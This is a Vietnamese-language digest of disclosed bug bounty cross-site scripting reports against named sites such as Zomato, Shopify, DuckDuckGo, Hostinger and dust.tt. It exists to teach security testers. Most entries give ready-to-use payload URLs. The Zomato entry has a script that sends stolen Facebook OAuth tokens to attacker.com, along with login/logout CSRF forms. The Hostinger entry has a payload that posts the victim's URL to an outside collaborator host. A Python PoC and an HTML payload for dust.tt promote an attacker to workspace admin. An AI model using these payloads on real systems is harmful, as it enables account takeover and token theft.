Cross-site Scripting (XSS) - DOM - iqcard.informatica.com XSS
Lỗ hổng tồn tại ở trang iqcard.informatica.com/pub/fujitsu/fm3v2/player/attach.html và có chứa đoạn code bị dính lỗ hổng DOM XSS như sau:
<html>
<head>
<script>
function GetAttach() {
var strSearch = document.location.search
strSearch = strSearch.substring(1)
document.location.replace(strSearch)
}
</script>
</head>
<body onload="GetAttach()"></body>
</html>URL để redirect: https://iqcard.informatica.com/pub/fujitsu/fm3v2/player/attach.html?evil.com.
URL để XSS: https://iqcard.informatica.com/pub/fujitsu/fm3v2/player/attach.html?javascript:alert(1).
Có thể thấy, cả 2 URL đều sử dụng TÊN của query param làm payload.
Persistent XSS in https://sandbox.reverb.com/item/ XSS
Lỗ hổng Stored XSS tồn tại ở đường link soundcloud mà listing owner có thể gắn vào (field _product[soundcloud_link_attributes][link]_). Payload:
https://soundcloud.com/rich-the-kid/sets/the-world-is-yours-15?fuzzing" onload=alert(document.domain) x="Mặc dù có client-side validation:

Nhưng ta vẫn có thể bypass bằng cách gửi request trực tiếp đến backend.
XSS and Iframe Injection onTikTok Ads Portal Using redirect Params XSS
Tồn tại lỗ hổng XSS ở một endpoint của TikTok Ads thông qua redirect parameter.
Stored XXS via goal[1][Costs] Parameter of Multipart Form XSS
Tham số goal[1][Costs] trong multipart form gửi đến endpoint POST /HRO/Training/idpgenerate.php có thể bị tấn công stored XSS thông qua payload:
1
<script>
alert(9639)
</script>Info
Sử dụng google dorking với filter là
inurlvà value làidpgeneratethì tìm được URL: https://www.usna.edu/HRO/Training/idpgenerate.php
DOM XSS through Ads XSS
Trang web tồn tại lỗ hổng DOM XSS trong ngữ cảnh JavaScript. Cụ thể hơn, nó load URL của quảng cáo và chèn vào thẻ <script> kèm theo URL hiện tại:
<script type='text/javascript'>
url='https://vap3ord1.lijit.com/res/sovrn.containertag.new.min.js…252de1&loc=https://www.urbandictionary.com/define.php?term=#asdf'-alert(document.domain)-'',Nhiều quảng cáo muốn biết rằng quảng cáo của họ được xem từ đâu nên cần phải đính kèm URL của trang web hiện tại. Và do đó mà attacker có thể thay đổi URL hiện tại để chèn payload vào URL trong thẻ <script>
Cụ thể hơn, attacker có thể chèn payload vào phần fragment và escape ra bằng cách sử dụng dấu nháy đơn.
Reflected XSS at https://██████/ XSS
Tồn tại lỗ hổng reflected XSS ở endpoint sau:
https://████/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)Decode:
https://████/logout_redirect.do?sysparm_url=//j\\javascript:alert(document.domain)Tip
Có thể thấy, attacker sử dụng
//j\\javascriptđể bypass các filter của server.
DOM XSS on 50x.html Page XSS
Attacker tìm thấy lỗ hổng DOM XSS tại trang https://duckduckgo.com/50x.html. Sink là innerHTML và source là location.search. Bằng cách sử dụng URL sau, attacker có thể tấn công XSS:
https://duckduckgo.com/50x.html?e=&atb=test%22/%3E%3Cimg%20src=x%20onerror=alert(document.domain);%3EDecode:
https://duckduckgo.com/50x.html?e=&atb=test"/><img src=x onerror=alert(document.domain);>Đoạn code dính lỗ hổng:
b5.createElement("div")); cg = (m.exec(b7) || ["", ""])[1].toLowerCase(); b4 = R[cg] || R._default; ce.innerHTML = b4[1] + b7.replace(aB, "<$1></$2>") + b4[2]; cb = b4[0]; while (cb--) { ce=ce.lastChild } if(!bI.support.leadingWhitespace&&b2.test(b7))XSS Reflected XSS
Payload mà attacker sử dụng:
https://www.██████/tags/image/sizzle-reel?&view=K0X%22%20AutoFocus%20%2526%252362%20OnFocus%0c%3dprompt%601%60%20kaos%3d%22uwps2&sort=dateURL decode:
https://www.██████/tags/image/sizzle-reel?&view=K0X" AutoFocus %26%2362 OnFocus=prompt`1` kaos="uwps2&sort=dateSelf-Stored XSS - Chained with login/logout CSRF XSS CSRF
Attacker lưu self-stored XSS payload ở trong phần review của trang nhà hàng mà sẽ được trigger khi nhấn vào nút edit. Bằng cách chain nhiều bug lại với nhau, attacker tạo ra trang web để khiến cho victim log out và log in vào tài khoản của attacker cũng như là redirect đến trang review. Khi victim nhấn vào nút edit thì payload sẽ trigger để gửi Facebook/Google token đến attacker.
Param để inject XSS payload sẽ là with_tags_data trong request bên dưới:
POST /php/submitReview HTTP/2
Host: www.zomato.com
Content-Type: applicatiom/x-www-urlencoded
review=140 characters long review&
review_db=140 characters long review&
with_tags_data=<script>prompt(0,document.domain)</script>&
res_id=19132208&
city_id=11333&
rating=5&
is_edit=0&
review_id=0&
save_image=1&
instagram_images_to_update=[]&
instagram_json_data={"data":[]}&
uploaded_images_json=[]&
share_to_fb=false&
share_to_tw=false&
snippet=restaurant-review&
web_source=default&
csrf_token=2acad4ba08d4000000000007923a25d&
external_url=XSS payload dùng để đánh cắp Facebook/Google token (thay thế cho payload ở trên):
<script>
// load fb js-sdk
;(function (d, s, id) {
var js,
fjs = d.getElementsByTagName(s)[0]
if (d.getElementById(id)) {
return
}
js = d.createElement(s)
js.id = id
js.src = "//connect.facebook.net/en_US/sdk.js"
fjs.parentNode.insertBefore(js, fjs)
})(document, "script", "facebook-jssdk")
window.fbAsyncInit = function () {
FB.init({
appId: "288523881080", // zomato fb app id
xfbml: true,
version: "v3.1",
})
//get auth response ( accessToken and signedRequest )
FB.login(function () {
$.post("https://attacker.com/tokens.php", FB.getAuthResponse())
}) // send token and signed_request to attacker
document.location.href = "https://www.zomato.com/logout" // logout from victims's account
}
</script>Payload dùng để thực hiện log out CSRF, OAuth log in CSRF và redirect đến trang review:
<form
target="attackerTokens"
method="post"
action="https://www.zomato.com/php/asyncLogin.php?access_token=██████"
>
<input name="authResponse[accessToken]" value="█████" />
<input name="authResponse[userID]" value="███" />
<input name="authResponse[expiresIn]" value="5073" />
<input name="authResponse[signedRequest]" value="████" />
<input name="authResponse[reauthorize_required_in]" value="7774406" />
<input name="authResponse[data_access_expiration_time]" value="1569568133" />
<input type="submit" />
</form>
<iframe name="attackerTokens"></iframe>
<!-- logout current session -->
<img src="https://www.zomato.com/logout" />
<script>
setTimeout(function () {
document.forms[0].submit()
}, 1500) // login attackers account
setTimeout(function () {
window.location.href = "http://zoma.to/link_to_review"
}, 4000) // redirect to XSS payload page
</script>Tip
Đây là một bug khá hay vì nó tận dụng được những bug gần như không có impact:
- Self-stored XSS
- CSRF logout
- CSRF login
XSS on hardware.shopify.com XSS
Attacker tìm ra một request có lỗ hổng CSRF mà có thể dùng GET method để thêm sản phẩm trên danh nghĩa của nạn nhân:
http://hardware.shopify.com/cart/add?&id=1106494145&iPad Stand=1120276481&Cash Drawer=1120176153&Receipt Printer=1120166789&attributes[cart_exists]=true&properties[builder_id]=shapp_options_421549285_1455208671885&properties[master_builder]=1&properties[test]=test&properties[value]=11&addBằng cách chèn XSS payload vào query param properties[builder_id], attacker có thể tấn công stored XSS khi victim nhấn vào nút Remove để xóa sản phẩm:
http://hardware.shopify.com/cart/add?id=1106494145&iPad Stand=1120276481&Cash Drawer=1120176153&Receipt Printer=1120166789&attributes[cart_exists]=true&properties[builder_id]=shapp_options_421549285_1455208671885%27%29%3Balert%28%27XSS&properties[master_builder]=1&properties[test]=test&properties[value]=11&addPayload mà attacker sử dụng là:
');alert('XSSReflected XSS on Error Message on Login Page XSS
Attacker tìm thấy lỗ hổng rXSS ở URL sau:
https://███████/users/login?error=<img src='x' onerror="alert(document.domain)">Tip
Có thể thấy, exploit này hoạt động trên param
errordùng để hiển thị message. Đây chính là nơi mà custom message được render ra nhiều nhất và ta nên tập trung vào các param tương tự khi test.
Stored XSS in File Upload Leads to Privilege Escalation and Full Workspace Takeover XSS
Attacker có thể upload file HTML có chứa XSS payload lên và chia sẻ với admin. Khi admin nhấn vào link chia sẻ, XSS payload sẽ được thực thi. Impact có thể là downgrade quyền của admin hoặc promote attacker’s account lên admin.
PoC dùng để upload file:
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
cookies = {
'appSession': '<dummy_account_session>',
}
json_data = {
'contentType': 'text/html',
'fileName': 'xss_poc.png',
'fileSize': 7331,
'useCase': 'conversation'
}
response = requests.post('https://dust.tt/api/w/<workspace_sid>/files', cookies=cookies, json=json_data)
print(response.text)
uploadUrl = response.json()['file']['uploadUrl']
cookies = {
'appSession': '<dummy_account_session>',
}
m = MultipartEncoder(
fields={
'file': (
'xss_poc.png', # Filename
open('Dust/xss.html', 'rb'), # File object
'text/html' # Content-Type
)
}
)
headers = {
'accept': '*/*',
'accept-language': 'nb-NO,nb;q=0.9,no;q=0.8,nn;q=0.7,en-US;q=0.6,en;q=0.5',
'cache-control': 'no-cache',
'content-type': m.content_type, # This will correctly set boundary
'origin': 'https://dust.tt',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://dust.tt/w/<workspace_sid>/assistant/new',
'sec-ch-ua': '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"macOS"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
}
# Make the request
response = requests.post(
url=uploadUrl,
headers=headers,
cookies=cookies,
data=m
)
print(f'[*] URL TO SHARE:\n{response.json()["file"]["downloadUrl"]}?action=view')File HTML chứa XSS payload:
<html>
<head>
<title>PoC - Dust Workspace Takeover</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 40px;
background-color: #f8f9fa;
}
.container {
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
}
h1 {
color: #333;
}
p {
color: #555;
}
</style>
</head>
<body>
<div class="container">
<h1>Proof of Concept - Dust Workspace Admin Takeover</h1>
<p>
When this page is visited by an admin inside a workspace, he'll give the attacker's user ID
admin privileges. The attacker can then manually de-rank the former admin to a regualar
member.
</p>
</div>
<script>
// Your user ID here (dummy account's ID)
const attackerUserId = "<dummy_id>" // <-- replace with dummy account ID!
fetch("https://dust.tt/api/user", {
method: "GET",
headers: {
accept: "*/*",
"x-commit-hash": "41c0391",
},
credentials: "include",
})
.then((res) => res.json())
.then((userData) => {
if (userData.user && userData.user.workspaces && userData.user.workspaces.length > 0) {
const workspaceId = userData.user.workspaces[0].sId // Get workspace ID
const victimUserId = userData.user.id // Victim's own ID
// 1. Promote attacker to admin
fetch(`https://dust.tt/api/w/${workspaceId}/members/${attackerUserId}`, {
method: "POST",
headers: {
"content-type": "application/json",
accept: "*/*",
"x-commit-hash": "41c0391",
},
credentials: "include",
body: JSON.stringify({
role: "admin",
}),
})
alert(
`PWNED\n\nVictim Username: ${userData.user.username}\nVictim Email: ${userData.user.email}`,
)
}
})
</script>
</body>
</html>RXSS on ██████ via customerId Parameter XSS
Tồn tại lỗ hổng rXSS thông qua param customerId. Trong payload để tấn công, attacker sử dụng oncontentvisibilityautostatechange event vì nó không được filter bởi application. Exploit này chỉ có thể được áp dụng cho Chrome còn Firefox thì không.
Tip
Đôi khi, việc dùng 1 browser để test có thể khiến ta miss một event nào đó mà chỉ có browser khác có.
1 Click Account Takeover via Auth Token Theft on marketing.hostinger.com XSS
Researcher tìm ra lỗ hổng XSS ở endpoint sau:
https://auth.hostinger.com/login/?redirectUrl=https%3A%2F%2Fmarketing.hostinger.com%2Fen-us%2Fmarketplace_wix%2Fsite_not_published%3Fredirect_url%3Dx%22%3E%3C%2Fa%3E%3Cscript%3Efetch%28%27https%3A%2F%2Fwqqf8xerhgrhdk251cesqastbkhb54xsm.oastify.com%27%2C%20%7Bmethod%3A%20%27POST%27%2Cbody%3A%20window.location%7D%29%3C%2Fscript%3EDạng decoded:
https://auth.hostinger.com/login/?redirectUrl=https://marketing.hostinger.com/en-us/marketplace_wix/site_not_published?redirect_url=x"></a><script>fetch('wqqf8xerhgrhdk251cesqastbkhb54xsm.oastify.com',%20{method:%20'POST',body:%20window.location});</script>eKhi logged in victim nhấn vào URL trên, sẽ có request gửi đến Burp Collaborator:

Request này sẽ có chứa auth_token mà có thể dùng để tạo JWT token cho tài khoản của victim:

Note
Researcher đã tận dụng subdomain
marketing.hostinger.comnằm ở trong whitelist để thực hiện XSS.
Stored XSS via SMTP Error Message XSS SMTP
Attacker cấu hình một SMTP server với error message có chứa XSS payload. Cụ thể hơn, attacker sử dụng Postfix 3.7.11 SMTP server với các settings sau:
-
/etc/postfix/main.cf:smtpd_recipient_restrictions = check_recipient_access hash:/etc/postfix/recipient_access, reject_unverified_recipient, permit -
/etc/postfix/recipient_access:invalid@example.org REJECT 5.1.1 <img src="" onerror="alert('hackerone!')" />
Sau đó update Postfix database: postmap /etc/postfix/recipient_access và restart server: systemctl restart postfix.
Sau đó, attacker tạo tài khoản và chờ khoảng 45 phút rồi truy cập /account/email để validate email. Khi đó, XSS payload sẽ được trigger do error message từ SMTP được render trực tiếp vào hàm html() mà không có sanitization.
Kịch bản tấn công là nhắm vào các user gõ nhầm domain của email chẳng hạn @gmail.com thành @gmai.com và nếu attacker kiểm soát domain này thì có thể gây ra XSS trên endpoint /account/email của nạn nhân nhằm ATO. Ngoài ra, admin khi xem profile của user cũng có thể bị tấn công nếu như cách render ở trang quản lý tương tự với endpoint /account/email.
Tip
Issue này sáng tạo ở chỗ nó dùng SMTP error làm source của XSS attack. Để làm được điều này thì có thể là researcher đã sử dụng invalid email và kiểm tra xem response data từ SMTP server được rendered như thế nào ở trong application.e